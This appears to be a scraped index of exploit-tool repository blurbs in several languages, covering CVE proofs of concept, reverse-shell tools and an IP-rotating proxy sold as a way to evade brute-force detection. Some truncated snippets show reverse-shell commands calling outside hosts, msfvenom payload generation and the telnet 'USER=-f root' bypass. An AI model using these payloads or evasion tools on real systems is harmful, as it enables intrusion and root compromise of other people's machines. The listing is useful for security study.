CVE-2026-6009

⚠️ 면책 조항: 이 저장소는 교육 목적 및 승인된 보안 테스트 용도로만 사용됩니다. 소유하지 않았거나 명시적 서면 허가를 받지 않은 시스템에 대해 사용하지 마세요. CVE-2026-6009 개념 증명 요약 Jaspersoft report 라이브러리 버전 = 7.0.3은 Java 역직렬화 흐름을 악용하여 원격 코드 실행RCE에 취약합니다. 이 취약점으로 인해 공격자는 이 라이브러리 버전을 사용하는 시스템에서 리버스 셸 연결을 수행할 수 있습니다. 라이브러리: Jaspersoft report 영향 받는 버전: = 7.0.3 취약점...

CVE-2026-25099

CVE-2026-25099 - Bludit CMS API 무제한 파일 업로드를 통한 RCE 설명 Bludit CMS 3.18.4 이전 버전은 유효한 API 토큰을 가진 인증된 공격자가 POST /api/files/ 엔드포인트를 통해 모든 유형과 확장자의 파일을 업로드할 수 있도록 허용합니다. uploadFile 함수는 파일 확장자나 콘텐츠 검증을 수행하지 않아 PHP 웹셸을 업로드하고 www-data 권한으로 실행할 수 있습니다. 영향을 받는 버전 취약한 버전: Bludit 3.18.4 수정된 버전: Bludit 3.18.4 ...

CVE-2025-24893_Shell

2025-24893Shell требования: httpx использование: python exploit.py victim.com...

Snow Crash

Snow Crash Этот проект представляет собой введение в компьютерную безопасность. Snow Crash поможет вам познакомиться с безопасностью в различных поддоменах с ориентацией на разработчика. Вы познакомитесь с несколькими языками ASM, Perl, Php и т.д., разовьете определенную логику для понимания...

CVE-2026-67434

A flaw was found in PHPCodeSniffer. This command injection vulnerability allows an attacker to execute arbitrary shell commands. This occurs when PHPCodeSniffer processes untrusted files with specially crafted filenames containing shell metacharacters, specifically when generating Gitblame,...

CVE-2025-59528-Flowise-RCE

CVE-2025-59528-Flowise-RCE CustomMCP 노드를 통한 Flowise 버전 &1|nc 10.10.15.200 443 /tmp/f' 리스너를 확인하면 작동할 것입니다: root@kitploit: └─$ nc -lvnp 443 listening on any 443 ... connect to 10.10.15.200 from UNKNOWN 10.129.64.221 43393 sh: can't access tty; job control turned off / whoami root...

CVE-2023-20052

CVE-2023-20052 익스플로잇 이 저장소에는 CVE-2023-20052 에 대한 기능성 PoCProof of Concept 익스플로잇이 포함되어 있으며, ClamAV 1.0.0 이하, 0.105.1 이하, 0.103.7 이하 버전에 영향을 미칩니다. 데모 사용법 root@kitploit: git clone https://github.com/tralsesec/CVE-2023-20052.git cd CVE-2023-20052 chmod +x exploit.sh ./exploit.sh 면책 조항 이 소프트웨어는 교육 목적 및...

CVE-2026-30225-OliveTin-RCE

OliveTin — 未認証アクション実行 → RCE（+ CVE-2026-30225） OliveTin のインスタンスが同梱のゲストデフォルト設定で実行されている場合の、権限昇格／リモートコード実行（RCE）に対するPoC。root として実行されている OliveTin 3000.10.0 （HTB: Enigma ）で検証済みであり、未認証の root シェルを取得できます。 ⚠️ 許可されたテストのみ。...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd 원격 인증 우회 진심으로, 2026년에 telnet? 여러분, 이제 그만 넘어갈 때입니다. SSH는 1995년부터 존재했습니다. 🤦 설명 GNU Inetutils telnetd의 치명적인 인증 우회 취약점으로, 버전 1.9.3부터 2.7까지 영향을 받습니다. 이 취약점은 NEW-ENVIRON telnet 옵션을 악용하여 login1에 악의적인 인자를 주입합니다. 공격자는 telnet 프로토콜을 통해 USER=-f root를 설정하여 인증을 우회하고 자격 증명 없...

pickle_exploit

PickleExploit ClearML에서 Pickle 직렬화를 통한 원격 코드 실행 취약점 시연 🖥️ 이 스크립트는 h3x0v3rl0rd 에 의해 개발되었습니다. 이 개념 증명PoC은 pickle 라이브러리를 사용한 Python 객체의 직렬화 및 역직렬화와 관련된 잠재적인 보안 취약점을 시연합니다. 구체적으로, 역직렬화될 때 os.system을 통해 리버스 셸 명령을 실행하는 reduce 메서드를 가진 RunCommand 클래스를 생성합니다. 이 명령은 지정된 IP 주소와 포트에 리버스 셸 연결을 설정하려고 시도합니다. PoC...

php-reverse-shell

php-reverse-shell...

FreePBX-Reverse-Shell-Module

FreePBX-Reverse-Shell-Module...

smb-usermap

Samba "username map script" 명령 실행 이 모듈은 기본값이 아닌 "username map script" 구성 옵션을 사용하는 Samba 3.0.203.0.25rc3 버전의 명령 실행 취약점을 악용합니다. 셸 메타 문자를 포함하는 사용자 이름을 지정하면 공격자가 임의의 명령을 실행할 수 있습니다. 이 옵션은 인증 전에 사용자 이름을 매핑하는 데 사용되므로 이 취약점을 악용하는 데 인증이 필요하지 않습니다! 1. 셸코드 생성 root@kitploit: msfvenom -p cmd/unix/reversenetc...

nodejsshell

nodejsshell - h3x0v3rl0rd -...

nim-reverse-shell

nim-reverse-shell nim-reverse-shell 예시: root@kitploit: sudo apt install nim 이에 맞게 스크립트를 업데이트하세요 root@kitploit: nim c -d:mingw --app:gui --opt:speed -o:spoofer-scheduler.exe reverse.nim root@kitploit: python3 -m http.server 8888 root@kitploit: wget http://tun0:8888/spoofer-scheduler.exe -o...

Webmin1.910_exploit

Webmin 1.910 원격 코드 실행 익스플로잇 설명: 이 저장소에는 Webmin 1.910 버전의 원격 코드 실행 취약점을 악용하도록 설계된 Python 3 스크립트가 포함되어 있습니다. 이 스크립트는 sessionlogin.cgi 엔드포인트를 사용하여 인증을 수행하고 리버스 셸 페이로드를 배포하여 대상 시스템에 대한 원격 액세스를 제공합니다. 이 익스플로잇은 승인된 침투 테스트 및 교육 목적으로 제작되었습니다. 1. 로컬 머신에서 리스너를 시작하세요: root@kitploit: nc -lvnp 2. 다음 명령어로 스크립트...

MS08-067

MS08-067 | CVE-2008-4250 참조: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN 셸코드 생성 msfvenom을 사용하여 셸코드를 생성합니다. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40...

Netgear_Pwn2Own2021

Netgear R6700v3 WAN RCE - Pwn2Own 2021 이 코드는 Pwn2Own 2021에서 Netgear R6700v3에 대한 원격 셸을 획득하기 위해 사용된 것입니다. 블로그 포스트: https://synacktiv.com/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3 요구 사항 flask가 설치된 python3 dnsmasq 사용 방법 1. 루트로 ./play.sh ifname을 실행합니다. ifname은 라우터에 연결된 인터페이스 이름입니다...

IPSpinner

🔁 IPSpinner IPSpinner는 들어오는 모든 요청을 사용자가 선택한 다양한 공급자를 통해 리디렉션할 수 있는 로컬 프록시입니다. 목적은 각 요청의 소스 IP 주소를 회전시키는 패스스루pass-through 프록시를 만드는 것입니다. 예를 들어, IPSpinner를 통해 무차별 대입bruteforce 공격을 실행하면 서버가 수백 개의 서로 다른 IP 주소에서 요청을 받게 되므로 탐지를 피하는 데 도움이 됩니다. IPSpinner는 현재 AWSAPI Gateway, AzureCloud Shell 및 GitHubGitHu...

Rainstorm

BadBash 是一个 CVE-2014-6271 远程代码执行漏洞利用工具。基础版本仅针对 HTTP CGI 站点进行检测，并且只提供端口 1234 上的 netcat 反弹 shell。 开发者：Andy Yang 版本：0.1.0 许可证：GPLv3 ================================================================================================ RainMak3r@Could:/Desktop ruby BadBash.rb -h BadBash - CVE-2014-6271...